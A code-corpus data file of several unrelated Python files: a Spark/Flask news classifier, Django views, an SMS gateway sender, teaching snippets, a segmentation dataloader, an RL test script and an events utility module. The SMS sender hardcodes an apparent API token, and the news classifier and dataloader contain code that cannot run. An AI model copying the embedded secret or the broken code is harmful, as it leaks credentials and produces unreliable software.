regexp_replace\nfrom pyspark.sql.functions import lower,col , udf,countDistinct\nfrom pyspark.ml.feature import Tokenizer,RegexTokenizer,StopWordsRemover,StringIndexer\nfrom pyspark.ml.feature import NGram,HashingTF,IDF ,CountVectorizer,VectorAssembler\n#from pyspark.ml.classification import LogisticRegression,NaiveBayes,RandomForestClassifier,GBTClassifier\nfrom pyspark.ml.evaluation import Evaluator, MulticlassClassificationEvaluator\nfrom pyspark.mllib.evaluation import MulticlassMetrics\nfrom pyspark.ml import Pipeline\nfrom pyspark.sql.types import IntegerType\nfrom pyspark.sql.types import StringType\nfrom pyspark.ml.param import *\nimport pandas\nfrom flask import Flask,render_template,url_for,request\nfrom sklearn.linear_model import LogisticRegression\n\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n\treturn render_template('home.html')\n@app.route('/predict',methods=['POST'])\ndef predict():\n\n # load mongo data\n input_uri = \"mongodb://localhost:27017/capstone.news\"\n output_uri = \"mongodb://localhost:27017/capstone.news\"\n\n myspark = SparkSession\\\n .builder\\\n .appName(\"mynews\")\\\n .config(\"spark.mongodb.input.uri\", input_uri)\\\n .config(\"spark.mongodb.output.uri\", output_uri)\\\n .config('spark.jars.packages','org.mongodb.spark:mongo-spark-connector_2.12:2.4.2')\\\n .getOrCreate()\n\n df = myspark.read.format('com.mongodb.spark.sql.DefaultSource').load()\n #df.select(\"summary\",\"title\",\"category\").show(5)\n df=df.select(\"summary\",\"category\")\n\n # Removing \"news\",\"nation\" category - \n df.createOrReplaceTempView(\"capstone_news\")\n sql_query = \"select * from capstone_news where category NOT IN ('news','nation') \"\n df=myspark.sql(sql_query)\n\n #Convert to lowercase\n def textclean(text):\n text = lower(text)\n # text = regexp_replace(text,\"\\+[.*?\\]\",\"\")\n text = regexp_replace(text,\"^rt\",\"\")\n # text = regexp_replace(text,\"\\w*\\d\\w*\",\"\")\n text = regexp_replace(text,\"[0-9]\",\"\")\n text = regexp_replace(text,\"(https?\\://)\\S+\",\"\")\n text = regexp_replace(text,'\\[.*?\\]', '')\n text = regexp_replace(text,'/', '')\n text = regexp_replace(text,':', '')\n text = regexp_replace(text,'%', '')\n text = regexp_replace(text,'\\n', '')\n #text = regexp_replace(text,'-,', '')\n return text\n df = df.select(textclean(col(\"category\")).alias(\"category\"),\n #textclean(col(\"title\")).alias(\"title\")\n textclean(col(\"summary\")).alias(\"summary\"))\n\n #Value counts\n df_countacat=df.groupBy(\"category\").count()\n #df_countacat.show()\n\n\n # Data Cleaning\n # Handling null values-droping null records\n df=df.dropna(subset=(\"category\"))\n #df.show()\n\n\n #Feature Extraction\n\n #Build Features From Text\n # CountVectorizer\n # TFIDF\n # WordEmbedding\n # HashingTF\n\n #dir(pyspark.ml.feature)\n #print(dir(pyspark.ml.feature))\n\n # Stages For the Pipeline\n tokenizer = Tokenizer(inputCol='summary',outputCol='mytokens')\n stopwords_remover = StopWordsRemover(inputCol='mytokens',outputCol='filtered_tokens')\n vectorizer = CountVectorizer(inputCol='filtered_tokens',outputCol='rawFeatures')\n idf = IDF(inputCol='rawFeatures',outputCol='vectorizedFeatures')\n\n # LabelEncoding/LabelIndexing\n labelEncoder = StringIndexer(inputCol='category',outputCol='label').fit(df)\n \n\n #labelEncoder.transform(df).show(5)\n\n # Dict of Labels\n label_dict = {'science':0.0, 'business':1.0,'economics':2.0,'finance':3.0,'tech':4.0,\n 'gaming':5.0, 'entertainment':6.0, 'sport':7.0,'beauty':8.0, 'politics':9.0, \n 'world':10.0, 'energy':11.0, 'food':12.0, 'travel':13.0}\n\n df = labelEncoder.transform(df)\n X=df[\"summary\"]\n y=df[\"label\"]\n\n ### Split Dataset\n from sklearn.model_selection import train_test_split\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=42)\n\n ###Building the Pipeline\n\n pipeline = Pipeline(stages=[tokenizer,stopwords_remover,vectorizer,idf])\n\n X=pipeline.fit(X_train,y_train)\n\n ###Estimator - Logistic Regression\n\n lr = LogisticRegression()\n\n #print(pipeline.stages)\n\n\n # Building MOdel\n lr.fit(X_train,y_train)\n lr.transform(X_test,y_test)\n\n if request.method == 'POST':\n message = request.form['message']\n\t \n data = [message]\n\t\t\n vect = lr.transform(data).toarray()\n\t\t\n my_prediction = lr.predict(vect)\n \n return render_template('result.html',prediction = my_prediction)\n\n\nif __name__ == '__main__':\n\tapp.run(debug=True)\n","sub_path":"Practice-capstone-files/news-test.py","file_name":"news-test.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"521822072","text":"from django.core.paginator import Paginator\nfrom django.http.response import JsonResponse\nfrom django.shortcuts import render\nfrom django.views import View\n\nfrom rss_tool.forms import CommentForm\nfrom rss_tool.models import Bookmark\nfrom rss_tool.models import Comment\nfrom rss_tool.models import Feed\n\n__all__ = [\"FavoritesView\"]\n\n\nclass FavoritesView(View):\n form_class = CommentForm\n template_name = \"rss_tool/favorites.html\"\n\n def get(self, request):\n current_user_id = request.user.pk\n\n # get feeds and check if feed is in favorites\n feeds = (\n Feed.objects.prefetch_related(\"comments__author\")\n .select_related(\"channel__user\")\n .filter(bookmarks__user_id=current_user_id)\n .order_by(\"-pub_date\")\n )\n\n # use pagination\n paginator = Paginator(feeds, 10)\n page = request.GET.get(\"page\")\n feeds_per_page = paginator.get_page(page)\n\n has_next = feeds_per_page.has_next()\n has_previous = feeds_per_page.has_previous()\n\n template_data = {\n \"h1\": \"Favorites\",\n \"feeds\": feeds_per_page,\n \"pagination\": {\n \"has_previous\": has_previous,\n \"has_next\": has_next,\n \"num_pages\": feeds_per_page.paginator.num_pages,\n \"number\": feeds_per_page.number,\n },\n }\n\n return render(request, self.template_name, template_data)\n\n def post(self, request):\n data = request.POST\n current_user = request.user\n\n # check if bookmark\n is_bookmark = data.get(\"bookmark\")\n feed_id = int(data.get(\"feed_id\", 0))\n if is_bookmark:\n bookmark = Bookmark.objects.filter(\n feed_id=feed_id, user_id=current_user.pk\n ).first()\n if bookmark:\n bookmark.delete()\n return JsonResponse({\"feed_id\": feed_id, \"removed\": True})\n return JsonResponse({\"feed_id\": feed_id, \"removed\": False})\n\n # else if comment\n comment = data.get(\"comment\")\n if not comment:\n return JsonResponse({\"feed_id\": feed_id, \"success\": False})\n\n Comment.objects.create(\n feed_id=feed_id, author_id=current_user.pk, text=comment\n )\n return JsonResponse(\n {\n \"feed_id\": feed_id,\n \"success\": True,\n \"comment\": comment,\n \"email\": current_user.email,\n }\n )\n","sub_path":"rss_tool/views/favorites.py","file_name":"favorites.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"648550359","text":"\"\"\"\nThis module contains services related to SMS\n\"\"\"\nimport logging\nfrom lxml import etree\nimport urllib2\nimport subprocess\nfrom django.utils.translation import ugettext_lazy as _\nfrom sms.models import SMS\n\nlogger = logging.getLogger(__name__)\n\n\n\nclass SMSService(object):\n \"\"\"\n The service class for sending an SMS.\n Implements the static method send_sms\n @TODO: Decide if to use class based\n service or functions based service\n \"\"\"\n\n @staticmethod\n def send_sms(message=str(), receivers=list()):\n \"\"\"\n The static method for sending sms.\n\n :param message: The sms message as string\n :param receivers: The list of receivers as list\n :return: : Dictionary containing the http response data\n :rtype: dict\n \"\"\"\n if not receivers:\n raise ValueError(\"No receivers given, aborting...\")\n sms = SMSsender()\n return sms.send(message=message, to=receivers[0])\n #sms = SMS(message=message, receivers=receivers)\n #return sms.send()\n\nclass SMSsender(object):\n \"\"\"\n New SMS sender service, for testing, then replace the previous one\n \"\"\"\n token = 'ac8dea34-1f28-4cc3-be0d-5b4d227676b6'\n sender = 'IT-Button'\n\n def send(self, message=str(), to=str(), sender='IT-Button'):\n \"\"\"send message to the 'to' \"\"\"\n if not to:\n raise ValueError(_('Need to assign a sender.'))\n if not message:\n raise ValueError(_('Need to assign a valid message.'))\n self.to = to.split(',')[0]\n self.message = message\n self.sender = sender\n payload = self.build_xml()\n self.send_sms(payload)\n\n\n\n def build_xml(self):\n # create XML\n root = etree.Element('MESSAGES')\n authentication = etree.Element('AUTHENTICATION')\n product_token = etree.Element('PRODUCTTOKEN')\n product_token.text = self.token\n authentication.append(product_token)\n root.append(authentication)\n message = etree.Element('MSG')\n sender = etree.Element('FROM')\n sender.text = self.sender\n message.append(sender)\n recipient = etree.Element('TO')\n recipient.text = self.to\n message.append(recipient)\n body = etree.Element('BODY')\n body.text = self.message\n message.append(body)\n root.append(message)\n s = etree.tostring(root)\n return s\n\n def send_sms(self, payload):\n logger.info(\"Sending SMS, payload: %s\" %payload)\n url = 'https://sgw01.cm.nl/gateway.ashx'\n try:\n req = urllib2.Request(url=url,\n data=payload,\n headers={'Content-Type': 'application/xml'})\n urllib2.urlopen(req)\n except Exception as e:\n # sending failed using urllib, retry using curl command line!\n try:\n command_line_curl(url, payload)\n except Exception as e:\n logger.error(\"Fatal! SMS fails. Reason: %s\" %e)\n\n\"\"\"\nIt seems on Ubuntu 14.04LTS using Python 2.7.6 not the right SSL is supported. Therefor we are calling curl from the commandline\nhttp://stackoverflow.com/questions/4154306/problems-post-ing-with-pycurl\n\"\"\"\n\ndef curl(*args):\n curl_path = '/usr/bin/curl'\n curl_list = [curl_path]\n for arg in args:\n # loop just in case we want to filter args in future.\n curl_list.append(arg)\n curl_result = subprocess.Popen(\n curl_list,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE).communicate()[0]\n return curl_result\n\ndef command_line_curl(url, payload):\n \"\"\"Send the payload to the url\"\"\"\n curl('-i', url, '-X', 'POST', '-H', 'Content-type: application/xml', '-d', payload)","sub_path":"epad/sms/services/sms_service.py","file_name":"sms_service.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"565546196","text":"while True:\n\ttry:\n\t\ta = int(input(\"first number \"))\n\t\tb = int(input(\"division number \"))\n\t\tt = a / b # + c\n\t\tprint(\"result : \" + str(t))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"oops! that's not a number!\")\n\texcept ZeroDivisionError:\n\t\tprint(\"oops! can't division by zero!\")\n\texcept NameError:\n\t\tprint(\"Variable isn't defined!\")\n\texcept Exception as err:\n\t\tprint(err)\n\ntry:\n\timport pandas\nexcept ImportError:\n\tprint(\"no module name panda!\")\n\nprint(\"=\"*30)\n\n# define function\ndef division(a,b):\n\t\ttry:\n\t\t\tt = a / b\n\t\texcept ZeroDivisionError:\n\t\t\tprint(\"can't division by zero\")\n\t\telse:\n\t\t\tprint(\"result : \" + str(t))\n\t\tfinally:\n\t\t\tprint(\"== finally program! ==\")\n\n# call function\ndivision(1,0) \n\nprint(\"x\"*20)\n\ndivision(35,7)\n","sub_path":"30_Errors & Exceptions/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"124549820","text":"def maxSubArray(nums: 'List[int]') -> 'int':\n maxSoFar = nums[0]\n maxEndingHere = nums[0]\n for i in range(1, len(nums)):\n maxEndingHere = max(maxEndingHere + nums[i], nums[i])\n maxSoFar = max(maxSoFar, maxEndingHere)\n return maxSoFar\n\n\ndef maxSubArrayNaive(nums: 'List[int]') -> 'int':\n max_sum = float('-inf')\n for left in range(len(nums)):\n current = 0\n for right in range(left, len(nums)):\n current += nums[right]\n max_sum = max(max_sum, current)\n return max_sum\n\n\ndef main():\n print(maxSubArray([-2, 1, -3, 4, -1, 2, 1, -5, 4]))\n print(maxSubArrayNaive([-2, 1, -3, 4, -1, 2, 1, -5, 4]))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Questions/maxSubArray.py","file_name":"maxSubArray.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"472970634","text":"import os\nimport cv2\nfrom PIL import Image, ImageEnhance, ImageOps, ImageFile, ImageFilter\nimport numpy as np\nimport paddle.dataset as dataset\nfrom scipy.misc import imread\nimport sys\nimport glob\nimport random\nimport pickle\nimport signal\nfrom configs import *\nfrom util.data_queue import *\nimport skimage\n\nglobal data_len\nrandom.seed(666)\n\n# 注意数据类型问题,label之类的不能是uint8\nif sys.platform == 'win32':\n img_path_train = r'F:\\hiudawn\\dataset\\Segmentation\\BaiduRoad\\TrainImg\\ColorImg'\n label_path_train = r'F:\\hiudawn\\dataset\\Segmentation\\BaiduRoad\\TrainImg\\LabelsNew'\n img_path_infer = r'F:/hiudawn/dataset/Segmentation/BaiduRoad/TestImg/ColorImg2'\nelse:\n img_path_train = '/temp/datasets/BaiduRoad/TrainImg/ColorImg'\n label_path_train = '/home/hiudawn/dataset/Segmentation/BaiduRoad/TrainImg/LabelsNew'\n img_path_infer = '/home/hiudawn/dataset/Segmentation/BaiduRoad/TestImg/ColorImg2'\n\ndef load(image, label=None):\n \"\"\"\n 加载数据集为np对象\n \"\"\"\n image = imread(image).astype(\"float32\")\n if is_crop:\n image = image[710:,:,:].copy() # 裁切成(1000, 3384),注:这个打印size就是1000, 3384\n image = cv2.resize(image, train_shape[::-1]).astype(\"float32\") # ?高宽会颠倒?? opencv是w h...\n # image = imresize(image, train_shape, 'nearest').astype(\"float32\") # 自己的,插值后最小值总是4或者6,最大值255,早期用这个会有bug\n image = image/255. - 0.5\n image = image.transpose(2, 0, 1)\n\n if label:\n label = imread(label).astype(\"float32\")\n if is_crop:\n label = label[710:,:].copy()\n label = cv2.resize(label, train_shape[::-1], interpolation=cv2.INTER_NEAREST).astype(\"int32\")\n # label = imresize(label, train_shape, 'nearest').astype(\"int32\") # 之前那版写的是float32..,这个会因为上限乱reshape\n label = label[np.newaxis,:,:] # 本来只有宽高\n \n return image, label\n\ndef load_train(image, label):\n image = open_image(image)\n label = open_image(label)\n\n if is_crop:\n region = (0,710,3384,1710) # 去掉图像中上部没什么有效信息的部分\n image = image.crop(region) # 裁切成(3384, 1000),注:这个打印size就是3384, 1000\n label = label.crop(region) \n image, label = resize(image, label, train_shape)\n\n choice = random.uniform(1, 17)\n if 1<=choice<=10:\n pass\n elif 10<=choice<=12:\n image, label = random_blur(image, label)\n elif 12<=choice<=14:\n image, label = random_color(image, label)\n elif 14<=choice<=14.5:\n image, label = random_rotation(image, label)\n elif 14.5<=choice<=15:\n image, label = random_blur(image, label)\n image, label = random_color(image, label)\n image, label = random_rotation(image, label)\n\n image = Image2np(image)\n label = Image2np(label)\n if 15<=choice<=17:\n image, label = random_noise(image, label)\n # elif 17<=choice<=17.5:\n # image, label = random_scaling(image, label)\n\n image = image/255. - 0.5\n image = image.transpose(2, 0, 1).astype(\"float32\")\n label = label[np.newaxis,:,:].astype(\"int32\")\n\n return random_flip(image, label, hflip=True, vflip=False)\n\n\ndef random_flip(image, label, hflip=True, vflip=False):\n \"\"\"\n 随机垂直翻转,三维的时候才能用\n \"\"\"\n hflip = hflip and random.random() < 0.5 # 水平翻转是随便的,\n vflip = vflip and random.random() < 0.5 # 垂直翻转是认真的\n\n def _augment(img):\n if hflip: img = img[:, :, ::-1].copy() # 左右颠倒\n if vflip: img = img[:, ::-1, :].copy() # 上下颠倒\n return img\n\n return [_augment(_l) for _l in (image, label)]\n\ndef random_crop(image, label):\n \"\"\"\n 随机裁剪,已弃\n \"\"\"\n ih, iw = image.shape[1:] # 获取高宽 h w\n ix = random.randrange(0, iw - crop_shape[1] + 1) # 索引值不能超过放不下一个patch,这是输入的索引\n iy = random.randrange(0, ih - crop_shape[0] + 1) # 高也是一样,图片不能超过范围\n\n image = image[:, iy:iy + crop_shape[0], ix:ix + crop_shape[1]].copy() # 输入进行取块\n label = label[:, iy:iy + crop_shape[0], ix:ix + crop_shape[1]].copy() # 输出进行取块,这是可截取的范围\n\n return image, label # 返回取块后的结果\n\ndef random_scaling(image, label):\n \"\"\"\n 随机缩放,需要改进\n \"\"\"\n h, w = label.shape\n scale = random.uniform(0.85, 1)\n h_new = int(h * scale)\n w_new = int(w * scale)\n\n image = cv2.resize(image, (w_new, h_new))\n label = cv2.resize(label, (w_new, h_new), interpolation=cv2.INTER_NEAREST)\n\n image = np.pad(image, ((h-h_new,0), (w-w_new,0), (0,0)), 'constant')\n label = np.pad(label, ((h-h_new,0), (w-w_new,0)), 'constant')\n \n return image, label\n\ndef open_image(image):\n return Image.open(image, mode=\"r\")\n\ndef np2Image(image):\n return Image.fromarray(image.astype('uint8')).convert('RGB')\n\ndef Image2np(image):\n return np.array(image)\n\ndef random_rotation(image, label, mode=Image.BILINEAR):\n \"\"\"\n 对图像进行随机角度旋转\n \"\"\"\n random_angle = random.randint(-10, 10)\n return image.rotate(random_angle, mode) , label.rotate(random_angle, Image.NEAREST)\n\ndef random_color(image, label):\n \"\"\"\n 对图像进行色彩增强\n \"\"\"\n base = 10.\n if random.random() < 0.5:\n factor = random.randint(8, 25) / base\n image = ImageEnhance.Color(image).enhance(factor) # 饱和度\n\n if random.random() < 0.5:\n factor = random.randint(10, 25) / base\n image = ImageEnhance.Brightness(image).enhance(factor) # 亮度\n\n if random.random() < 0.5:\n factor = random.randint(10, 25) / base\n image = ImageEnhance.Contrast(image).enhance(factor) # 对比度\n\n if random.random() < 0.5:\n factor = random.randint(0, 25) / base\n image = ImageEnhance.Sharpness(image).enhance(factor) # 图像锐度\n\n return image, label\n\ndef random_blur(image, label, radius=2):\n \"\"\"\n 对图像使用高斯模糊\n \"\"\"\n image = image.filter(ImageFilter.GaussianBlur(radius=radius))\n return image, label\n\ndef random_noise(image, label):\n \"\"\"\n 对图像添加高斯噪声\n \"\"\" \n image = skimage.util.random_noise(image, mode='gaussian', clip=True, var=0.005)*255.\n return image, label\n\ndef resize(image, label, shape):\n \"\"\"\n 对图像进行缩放\n \"\"\"\n w, h = shape[::-1]\n image = image.resize((w,h), Image.BILINEAR)\n label = label.resize((w,h), Image.NEAREST)\n return image, label\n\ndef train_generator(batch_size, image_label, flip=True, scaling=False, crop=False):\n \"\"\"\n 创建训练数据的生成器\n \"\"\"\n while True:\n random.shuffle(image_label) # 每个线程都会乱shuffle一次, 会变成多个对象,是错误的\n print('image_label shuffled')\n\n images = []\n labels = []\n batch_count = 0\n for image_path, label_path in image_label:\n image, label = load_train(image_path, label_path)\n\n batch_count += 1\n images.append(image)\n labels.append(label)\n \n if batch_count == batch_size:\n yield (np.array(images, dtype=np.float32), np.array(labels, dtype=np.int32))\n images = []\n labels = []\n batch_count = 0\n return reader\n\ndef infer():\n \"\"\"\n 最终验证图像的生成器\n \"\"\"\n img = sorted(glob.glob('{}/*.jpg'.format(img_path_infer)))\n\n def reader():\n for image in img:\n lname = os.path.basename(image)\n lname = lname.split('.')[0]+'.png'\n image, _ = load(image)\n image = image[np.newaxis, :].astype(np.float32)\n yield image, lname\n\n return reader\n\ndef val():\n # 挑选几张最终的验证集,周期打印肉眼观看\n img_list = [\n \"171206_071005033_Camera_6.jpg\",\n \"171206_070109442_Camera_6.jpg\",\n \"171206_071644079_Camera_5.jpg\",\n \"171206_070754089_Camera_6.jpg\", # new c5 右人行道\n \"171206_071710514_Camera_5.jpg\", # c5 右人行道\n ]\n images = [] # 加载具体的图像到生成器里面\n for i in range(batch_size):\n img_path = os.path.join(img_path_infer, img_list[i])\n image, _ = load(img_path)\n images.append(image)\n return np.array(images, dtype=np.float32)\n\ndef train(batch_size, \n flip=False, \n scaling=False, \n crop=False,\n num_workers=4,\n max_queue=40,\n use_multiprocessing=True):\n \"\"\"\n 创建一个用于训练的多线程数据读取\n \"\"\"\n\n use_multiprocessing = use_multiprocessing if not sys.platform == 'win32' else False\n\n if os.path.exists('label_img.data'):\n # 不需要每次繁琐地对图片进行拷贝,如果已经处理过了,直接使用\n with open('label_img.data','rb') as f:\n image_label = pickle.load(f)\n print('load image_label from label_img.data')\n else:\n # 这个文件保存了一个字典,每一行分别是:{图像名称1:[类0像素个数,类1像素个数...], 图像名称2..., 图像名称61455...}\n with open('color_count.data','rb') as f: \n res = pickle.load(f)\n less_black = sorted(list(res.items()), key = lambda x:(x[1][0]))[:-10000] # remove the most nth black image, 这种分法是出最大的那几个\n # more_favor = sorted(less_black, key = lambda x:(2*x[1][3]+x[1][4]+5*x[1][5]+0.1*(x[1][6]+2*x[1][7]), x[1][2]+x[1][1], -x[1][0]), reverse = True)[:data_len] # 早期用这种方法淘汰不想训练的图片\n # 数据拷贝,把类比较少的多拷贝几份,主要是按造包含他们的像素排序\n more_class5 = sorted(list(res.items()), key = lambda x:(x[1][5]), reverse=True)[:4000]\n more_class4 = sorted(list(res.items()), key = lambda x:(x[1][4]), reverse=True)[:3000]\n more_class3 = sorted(list(res.items()), key = lambda x:(x[1][3]), reverse=True)[:6000]\n more_class2 = sorted(list(res.items()), key = lambda x:(x[1][2]), reverse=True)[:5000]\n more_class6 = sorted(list(res.items()), key = lambda x:(x[1][6]), reverse=True)[:1000]\n # 以下是提取图片的名字,不包含后缀和\"_bin\"等\n less_black = [ele[0] for ele in less_black] # 去掉尾部很多黑的图片\n more_class = [ele[0] for ele in more_class2*1+more_class3*1+more_class4*3+more_class5*4+more_class6*2]\n # 一个列表,元素为[图像名称1, 图像名称2...]\n load_list = more_class+less_black\n\n # 用来存取完整的图像和标签路径,[[full_img_path, full_label_path]...]\n image_label = []\n for basename in load_list:\n image_path = os.path.join(img_path_train, basename+'.jpg')\n label_path = os.path.join(label_path_train, basename+'_bin.png')\n image_label.append((image_path, label_path))\n # 把这个文件保存一份,方便下次直接调用\n with open('label_img.data','wb') as f:\n pickle.dump(image_label, f)\n if sys.platform == 'win32': image_label = image_label[:10]\n data_len = len(image_label)\n print('after preprocessing, img_label len: {}'.format(len(image_label)))\n\n def reader():\n # 一个多线程的数据读取方法,多线程的执行函数就是上面训练样本的生成器\n try:\n enqueuer = GeneratorEnqueuer(\n train_generator(batch_size, image_label, flip, scaling, crop),\n use_multiprocessing=use_multiprocessing)\n signal.signal(signal.SIGINT, enqueuer.stop)\n signal.signal(signal.SIGTERM, enqueuer.stop)\n enqueuer.start(max_queue_size=max_queue, workers=num_workers)\n generator_output = None\n while True:\n while enqueuer.is_running():\n if not enqueuer.queue.empty():\n generator_output = enqueuer.queue.get()\n break\n else:\n time.sleep(0.01)\n yield generator_output\n generator_output = None\n finally:\n if enqueuer is not None:\n enqueuer.stop()\n\n return reader\n\n\n\n\n","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":12343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"283572494","text":"from rl.environments import *\nfrom stable_baselines import PPO2\nfrom stable_baselines.common.vec_env import DummyVecEnv\nimport matplotlib.pyplot as plt\nimport cv2\nimport yaml, pathlib\nfrom os.path import join\nimport argparse\nfrom rl.baselines import get_parameters\nimport logging\nimport numpy as np\nimport rl\n\n\"\"\"\nUsage of this tester:\n python test3.py -e [ENVIRONMENT_NAME] -n [NUMEPS] -m [MODELPATH]\n e.g.\n python test3.py -e TestEnv -n 1 -m /path/to/file.zip\n\n\"\"\"\n#CHANGE LOGGING SETTINGS HERE: #INFO; showing all print statements #DEBUG: show extra info\nlogging.basicConfig(level=logging.INFO)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-e', '--environment', type=str, help='Name of the environment')\n parser.add_argument('-s', '--subdir', type=str, help='Subdir to look at')\n parser.add_argument('-n', '--name', type=str, help='Name of the model to run')\n parser.add_argument('-w', '--waitkey', type=int, help='Waitkey for the render')\n parser.add_argument('-r', '--render', action='store_true', help='Render the agents.')\n parser.add_argument('-p', '--probability', action='store_true', help='Renders action probability.')\n parser.add_argument('-d', '--deterministic', action='store_true', help='If the agent should be deterministic.')\n args = parser.parse_args()\n\n path = pathlib.Path().absolute()\n specified_path = join(path, 'rl', 'trained_models', args.environment, args.subdir)\n\n with open(join(specified_path, 'config.yml'), 'r') as f:\n config = yaml.safe_load(f)\n\n config_env = config['environment']\n amount_output = config_env['amount_of_outputs']\n amount_gtps = config_env['amount_of_gtps']\n stop = amount_gtps * amount_output + 1\n #load environment with config variables\n env_obj = getattr(rl.environments, args.environment)\n env = env_obj(config)\n\n modelpath = join(specified_path, 'best_model.zip')\n model = PPO2.load(modelpath, env=DummyVecEnv([lambda: env]))\n print(args.render)\n for episode in range(10):\n # Run an episode\n state = env.reset()\n size = state.shape[0]\n done = False\n meta_data = []\n while not done:\n action, _ = model.predict(state, deterministic=args.deterministic)\n logging.debug(model.action_probability(state))\n\n if args.probability:\n ## monitoring\n r = 4\n state_n = state\n for i in range(r):\n state_n = np.append(state_n, state_n)\n state_n = state_n.reshape(2 ** r, size)\n\n # monitor figure\n f, (ax1, ax2) = plt.subplots(1, 2)\n ax1.imshow(state_n)\n ax1.set_title('State')\n ax2.bar(x=range(0,amount_gtps*amount_output+1), height=model.action_probability(state))\n ax2.set_title('Action Distribution')\n f.savefig('buffer_img.png')\n plt.close(f)\n image = cv2.imread('buffer_img.png')\n cv2.imshow(\"image\", image)\n cv2.waitKey(args.waitkey)\n\n state, reward, done, tc = env.step(action)\n meta_data.append(tc)\n if args.render:\n env.render()\n\n #write the meta_data to file\n with open(join(specified_path,'performance_metrics.txt'), 'a') as f:\n f.write(\"%s\\n\" % meta_data[-1])","sub_path":"Scripts/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"287641432","text":"from datetime import datetime, timedelta\nimport re\nimport collections\n\nimport pytz\nfrom django.db import transaction\nfrom django.conf import settings\nfrom dateutil.parser import parse as dateutil_parse\nfrom rest_framework.exceptions import ParseError\n\nfrom events.models import Keyword, Place\nfrom events.sql import count_events_for_keywords, count_events_for_places\n\n\ndef convert_to_camelcase(s):\n return ''.join(word.title() if i else word for i, word in enumerate(\n s.split('_')))\n\n\ndef convert_from_camelcase(s):\n return re.sub(r'(^|[a-z])([A-Z])',\n lambda m: '_'.join([i.lower() for i in m.groups() if i]), s)\n\n\ndef get_value_from_tuple_list(list_of_tuples, search_key, value_index):\n \"\"\"\n Find \"value\" from list of tuples by using the other value in tuple as a\n search key and other as a returned value\n :param list_of_tuples: tuples to be searched\n :param search_key: search key used to find right tuple\n :param value_index: Index telling which side of tuple is\n returned and which is used as a key\n :return: Value from either side of tuple\n \"\"\"\n for i, v in enumerate(list_of_tuples):\n if v[value_index ^ 1] == search_key:\n return v[value_index]\n\n\ndef update(d, u):\n \"\"\"\n Recursively update dict d with\n values at all levels of dict u\n \"\"\"\n for k, v in u.items():\n if isinstance(v, collections.Mapping):\n r = update(d.get(k, {}), v)\n d[k] = r\n else:\n d[k] = u[k]\n return d\n\n\ndef recache_n_events(keyword_ids, all=False):\n \"\"\"\n Recache the number of events for the given keywords (by ID).\n\n :param all: recache all keywords instead\n :type keyword_ids: Iterable[str]\n \"\"\"\n\n # needed so we don't empty the blasted iterator mid-operation\n keyword_ids = tuple(set(keyword_ids))\n with transaction.atomic():\n if all:\n Keyword.objects.update(n_events=0)\n else:\n # set the flag to false here, so zero-event keywords will get it too\n Keyword.objects.filter(id__in=keyword_ids).update(n_events=0, n_events_changed=False)\n for keyword_id, n_events in count_events_for_keywords(keyword_ids, all=all).items():\n Keyword.objects.filter(id=keyword_id).update(n_events=n_events)\n\n\ndef recache_n_events_in_locations(place_ids, all=False):\n \"\"\"\n Recache the number of events for the given locations (by ID).\n\n :param all: recache all places instead\n :type place_ids: Iterable[str]\n \"\"\"\n\n # needed so we don't empty the blasted iterator mid-operation\n place_ids = tuple(set(place_ids))\n with transaction.atomic():\n if all:\n Place.objects.update(n_events=0)\n else:\n # set the flag to false here, so zero-event places will get it too\n Place.objects.filter(id__in=place_ids).update(n_events=0, n_events_changed=False)\n for place_id, n_events in count_events_for_places(place_ids, all=all).items():\n Place.objects.filter(id=place_id).update(n_events=n_events)\n\n\ndef parse_time(time_str, is_start):\n local_tz = pytz.timezone(settings.TIME_ZONE)\n time_str = time_str.strip()\n is_exact = True\n # Handle dates first. Assume dates are given in local timezone.\n # FIXME: What if there's no local timezone?\n try:\n dt = datetime.strptime(time_str, '%Y-%m-%d')\n dt = local_tz.localize(dt)\n is_exact = False\n except ValueError:\n dt = None\n if not dt:\n if time_str.lower() == 'today':\n dt = datetime.utcnow().replace(tzinfo=pytz.utc)\n dt = dt.astimezone(local_tz)\n dt = dt.replace(hour=0, minute=0, second=0, microsecond=0)\n is_exact = False\n if time_str.lower() == 'now':\n dt = datetime.utcnow().replace(tzinfo=pytz.utc)\n is_exact = True\n if dt and not is_exact:\n # With start timestamps, we treat dates as beginning\n # at midnight the same day. End timestamps are taken to\n # mean midnight on the following day.\n if not is_start:\n dt = dt + timedelta(days=1)\n elif not dt:\n try:\n # Handle all other times through dateutil.\n dt = dateutil_parse(time_str)\n # Dateutil may allow dates with too large negative tzoffset, crashing psycopg later\n if dt.tzinfo and abs(dt.tzinfo.utcoffset(dt)) > timedelta(hours=15):\n raise ParseError(f'Time zone given in timestamp {dt} out of bounds.')\n # Datetimes without timezone are assumed UTC by drf\n except (TypeError, ValueError):\n raise ParseError('time in invalid format (try ISO 8601 or yyyy-mm-dd)')\n return dt, is_exact\n\n\ndef get_fixed_lang_codes():\n lang_codes = []\n for language in settings.LANGUAGES:\n lang_code = language[0]\n lang_code = lang_code.replace('-', '_') # to handle complex codes like e.g. zh-hans\n lang_codes.append(lang_code)\n return lang_codes\n\n\ndef get_deleted_object_name():\n return {\n 'fi': 'POISTETTU',\n 'sv': 'RADERAD',\n 'en': 'DELETED',\n 